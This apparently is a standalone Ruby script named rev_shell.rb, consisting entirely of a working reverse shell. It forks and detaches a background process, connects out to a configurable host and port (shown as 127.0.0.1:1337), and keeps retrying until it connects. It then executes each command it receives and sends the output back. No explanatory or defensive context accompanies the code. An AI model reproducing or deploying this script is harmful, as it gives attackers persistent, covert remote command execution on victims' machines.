Rev Sheel

rev_shell.rb

require 'socket'
require 'open3'

pid = Process.fork do
  RHOST = '127.0.0.1'
  PORT = 1337

  begin
    socket = TCPSocket.new(RHOST, PORT)
    socket.print('$ ')
  rescue
    sleep 20
    retry
  end

  begin
    while cmd = socket.gets
      Open3.popen2e(cmd) do |stdin, stdout_and_stderr|
        IO.copy_stream(stdout_and_stderr, socket)
        socket.print("\n$ ")
      end
    end
  rescue
    retry
  end
end

Process.detach(pid)